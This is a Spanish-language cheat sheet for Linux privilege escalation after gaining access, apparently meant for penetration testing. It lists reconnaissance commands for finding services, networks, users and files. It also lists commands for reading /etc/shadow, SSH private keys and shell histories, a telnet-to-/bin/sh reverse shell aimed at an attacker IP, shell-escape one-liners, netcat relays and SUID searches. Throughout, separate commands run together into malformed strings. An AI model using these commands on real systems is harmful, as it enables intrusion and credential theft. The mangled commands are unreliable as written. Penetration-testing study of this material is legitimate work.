Enumeracion de Linux
La enumeración es clave. La escalación de privilegios en Linux se trata de:
Recopilar: Enumeración, más enumeración y aún más enumeración.
Procesar: Ordenar los datos, analizar y priorizar.
Buscar: Saber qué buscar y dónde encontrar el código de exploit.
Adaptar: Personalizar el exploit para que encaje. No todos los exploits funcionan para cada sistema "tal cual".
Intentar: Prepárate para (muchos) ensayos y errores.
Sistema Operativo ¿Cuál es el tipo de distribución? ¿Qué versión es?
cat /etc/issuecat /etc/*-releasecat /etc/lsb-releasecat /etc/redhat-release
¿Cuál es la versión del Kernel? ¿Es de 64 bits?
cat /proc/versionuname -auname -mrsrpm -q kerneldmesg | grep Linuxls /boot | grep vmlinuz-
¿Qué se puede aprender de las variables de entorno?
cat /etc/profilecat /etc/bashrccat ~/.bash_profilecat ~/.bashrccat ~/.bash_logoutenvset
¿Hay una impresora?
lpstat -a
Aplicaciones y Servicios ¿Qué servicios están corriendo? ¿Qué servicio tiene qué privilegios de usuario?
ps auxps -eftopcat /etc/service
¿Qué servicios están siendo ejecutados por root? De estos servicios, ¿cuáles son vulnerables? ¡Vale la pena verificarlo dos veces!
ps aux | grep rootps -ef | grep root
¿Qué aplicaciones están instaladas? ¿Qué versión tienen? ¿Están corriendo actualmente?
ls -alh /usr/bin/ls -alh /sbin/dpkg -lrpm -qals -alh /var/cache/apt/archivesls -alh /var/cache/yum/
¿Alguna configuración de servicio está mal configurada? ¿Algún plugin (vulnerable) está adjunto?
cat /etc/syslog.confcat /etc/chttp.confcat /etc/lighttpd.confcat /etc/cups/cupsd.confcat /etc/inetd.confcat /etc/apache2/apache2.confcat /etc/my.confcat /etc/httpd/conf/httpd.confcat /opt/lampp/etc/httpd.confls -aRl /etc/ | awk '$1 ~ /^.*r.*/
¿Qué trabajos están programados?
crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root
¿Hay nombres de usuario y/o contraseñas en texto plano?
grep -i user [filename]grep -i pass [filename]grep -C 5 "password" [filename]find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"# Joomla
Comunicaciones y Redes ¿Qué NIC(s) tiene el sistema? ¿Está conectado a otra red?
/sbin/ifconfig -acat /etc/network/interfacescat /etc/sysconfig/network
¿Cuáles son las configuraciones de red? ¿Qué se puede encontrar sobre esta red? ¿Servidor DHCP? ¿Servidor DNS? ¿Puerta de enlace?
cat /etc/resolv.confcat /etc/sysconfig/networkcat /etc/networksiptables -Lhostnamednsdomainname
¿Qué otros usuarios y hosts están comunicándose con el sistema?
lsof -ilsof -i :80grep 80 /etc/servicesnetstat -antupnetstat -antpxnetstat -tulpnchkconfig --listchkconfig --list | grep 3:onlastw
¿Qué está en caché? ¿Direcciones IP y/o MAC?
arp -eroute/sbin/route -nee
¿Es posible hacer sniffing de paquetes? ¿Qué se puede ver? Escuchar tráfico en vivo
tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
¿Tienes una shell? ¿Puedes interactuar con el sistema?
nc -lvp 4444# Atacante. Entrada (Comandos)nc -lvp 4445# Atacante. Salida (Resultados)telnet [ip del atacante] 44444 | /bin/sh | [ip local] 44445# En el sistema de la víctima. Usa la IP del atacante!
¿Es posible hacer port forwarding? Redirigir e interactuar con el tráfico desde otra vista
FPipe.exe -l [puerto local] -r [puerto remoto] -s [puerto local] [IP local]FPipe.exe -l 80 -r 80 -s 80 192.168.1.7ssh -L 8080:127.0.0.1:80 [email protected]# Puerto Localssh -R 8080:127.0.0.1:80 [email protected]# Puerto Remotomknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe# Relé de Puertosmknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe# Proxy (Puerto 80 a 8080)mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe# Monitor de Proxy (Puerto 80 a 8080)
¿Es posible hacer túneles? Enviar comandos localmente, remotamente
ssh -D 127.0.0.1:9050 -N [usuario]@[ip]proxychains ifconfig
Información Confidencial y Usuarios ¿Quién eres? ¿Quién está conectado? ¿Quién ha estado conectado? ¿Quién más está allí? ¿Quién puede hacer qué?
idwhowlastcat /etc/passwd | cut -d:# Lista de usuariosgrep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'# Lista de superusuariosawk -F: '($3 == "0") {print}' /etc/passwd# Lista de superusuarioscat /etc/sudoerssudo -l
¿Qué archivos sensibles se pueden encontrar?
cat /etc/passwdcat /etc/groupcat /etc/shadowls -alh /var/mail/
¿Hay algo "interesante" en los directorios de inicio? Si es posible acceder
ls -ahlR /root/ls -ahlR /home/
¿Hay contraseñas en scripts, bases de datos, archivos de configuración o archivos de log? Rutas y ubicaciones predeterminadas para contraseñas
cat /var/apache2/config.inccat /var/lib/mysql/mysql/user.MYDcat /root/anaconda-ks.cfg
¿Qué ha estado haciendo el usuario? ¿Hay alguna contraseña en texto plano? ¿Qué han estado editando?
cat ~/.bash_historycat ~/.nano_historycat ~/.atftp_historycat ~/.mysql_historycat ~/.php_history
¿Qué información de usuario se puede encontrar?
cat ~/.bashrccat ~/.profilecat /var/mail/rootcat /var/spool/mail/root
¿Se puede encontrar información de clave privada?
cat ~/.ssh/authorized_keyscat ~/.ssh/identity.pubcat ~/.ssh/identitycat ~/.ssh/id_rsa.pubcat ~/.ssh/id_rsacat ~/.ssh/id_dsa.pubcat ~/.ssh/id_dsacat /etc/ssh/ssh_configcat /etc/ssh/sshd_configcat /etc/ssh/ssh_host_dsa_key.pubcat /etc/ssh/ssh_host_dsa_keycat /etc/ssh/ssh_host_rsa_key.pubcat /etc/ssh/ssh_host_rsa_keycat /etc/ssh/ssh_host_key.pubcat /etc/ssh/ssh_host_key
Sistemas de Archivos ¿Qué archivos de configuración se pueden escribir en /etc/? ¿Es posible reconfigurar un servicio?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null# Cualquierals -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null# Propietariols -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null# Grupols -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null# Otrosfind /etc/ -readable -type f 2>/dev/null# Cualquierafind /etc/ -readable -type f -maxdepth 1 2>/dev/null# Cualquiera
¿Qué se puede encontrar en /var/?
ls -alh /var/logls -alh /var/maills -alh /var/spoolls -alh /var/spool/lpdls -alh /var/lib/pgsqlls -alh /var/lib/mysqlcat /var/lib/dhcp3/dhclient.leases
¿Hay algún ajuste/archivo (oculto) en el sitio web? ¿Algún archivo de configuración con información de base de datos?
ls -alhR /var/www/ls -alhR /srv/www/htdocs/ls -alhR /usr/local/www/apache22/data/ls -alhR /opt/lampp/htdocs/ls -alhR /var/www/html/
¿Hay algo en el(los) archivo(s) de log? (¡Podría ayudar con "Inclusión de Archivos Locales"!)
cat /etc/httpd/logs/access_logcat /etc/httpd/logs/access.logcat /etc/httpd/logs/error_logcat /etc/httpd/logs/error.logcat /var/log/apache2/access_logcat /var/log/apache2/access.logcat /var/log/apache2/error_logcat /var/log/apache2/error.logcat /var/log/apache/access_logcat /var/log/apache/access.logcat /var/log/auth.logcat /var/log/chttp.logcat /var/log/cups/error_logcat /var/log/dpkg.logcat /var/log/faillogcat /var/log/httpd/access_logcat /var/log/httpd/access.logcat /var/log/httpd/error_logcat /var/log/httpd/error.logcat /var/log/lastlogcat /var/log/lighttpd/access.logcat /var/log/lighttpd/error.logcat /var/log/lighttpd/lighttpd.access.logcat /var/log/lighttpd/lighttpd.error.logcat /var/log/messagescat /var/log/securecat /var/log/syslogcat /var/log/wtmpcat /var/log/xferlogcat /var/log/yum.logcat /var/run/utmpcat /var/webmin/miniserv.logcat /var/www/logs/access_logcat /var/www/logs/access.logls -alh /var/lib/dhcp3/ls -alh /var/log/postgresql/ls -alh /var/log/proftpd/ls -alh /var/log/samba/cat /var/log/auth.logcat /var/log/bootcat /var/log/btmpcat /var/log/daemon.logcat /var/log/debugcat /var/log/dmesgcat /var/log/kern.logcat /var/log/mail.infocat /var/log/mail.logcat /var/log/mail.warncat /var/log/messagescat /var/log/syslogcat /var/log/udevcat /var/log/wtmp
Si los comandos están limitados, ¿puedes salir de la "Shell TTY"?
python -c 'import pty;pty.spawn("/bin/bash")'echo os.system('/bin/bash')/bin/sh -i
¿Cómo están montados los sistemas de archivos?
mountdf -h
¿Hay sistemas de archivos no montados?
cat /etc/fstab
¿Qué "Permisos Avanzados de Archivos en Linux" se están usando? Sticky bits, SUID y GUID
find / -perm -1000 -type d 2>/dev/null# Sticky bit - Solo el propietario del directorio o el propietario de un archivo puede eliminar o renombrar aquí.find / -perm -g=s -type f 2>/dev/null# SGID (chmod 2000) - Ejecutar como el grupo, no como el usuario que lo inició.find / -perm -u=s -type f 2>/dev/null# SUID (chmod 4000) - Ejecutar como el propietario, no como el usuario que lo inició.find / -perm -g=s -o -perm -u=s -type f 2>/dev/null# SGID o SUIDfind / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null# Encontrar empezando desde root (/), SGID o SUID, no enlaces simbólicos, solo 3 carpetas de profundidad, listar con más detalles y ocultar cualquier error (por ejemplo, permiso denegado).
¿Dónde se puede escribir y ejecutar? Algunos lugares 'comunes': /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null# Directorios con permisos de escritura para todosfind / -perm -222 -type d 2>/dev/null# Directorios con permisos de escritura para todosfind / -perm -o+w -type d 2>/dev/null# Directorios con permisos de escritura para todosfind / -perm -o+x -type d 2>/dev/null# Directorios con permisos de ejecución para todosfind / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null# Directorios con permisos de escritura y ejecución para todos
¿Algún archivo "problemático"? Archivos con permisos de escritura para todos, archivos "nobody"
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print# Archivos con permisos de escritura para todosfind /dir -xdev \( -nouser -o -nogroup \) -print# Archivos sin propietario
Preparación y Búsqueda de Código de Explotación ¿Qué herramientas/lenguajes de desarrollo están instalados/soportados?
find / -name perl*find / -name python*find / -name gcc*find / -name cc
¿Cómo se pueden subir archivos?
find / -name wgetfind / -name nc*find / -name netcat*find / -name tftp*find / -name ftp
Encontrar código de exploit
http://www.exploit-db.comhttp://1337day.comhttp://www.securiteam.comhttp://www.securityfocus.comhttp://www.exploitsearch.nethttp://metasploit.com/modules/http://securityreason.comhttp://seclists.org/fulldisclosure/http://www.google.com
Encontrar más información sobre el exploit
http://www.cvedetails.comhttp://packetstormsecurity.org/files/cve/[CVE]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]http://www.vulnview.com/cve-details.php?cvename=[CVE]
Última actualización
¿Te fue útil?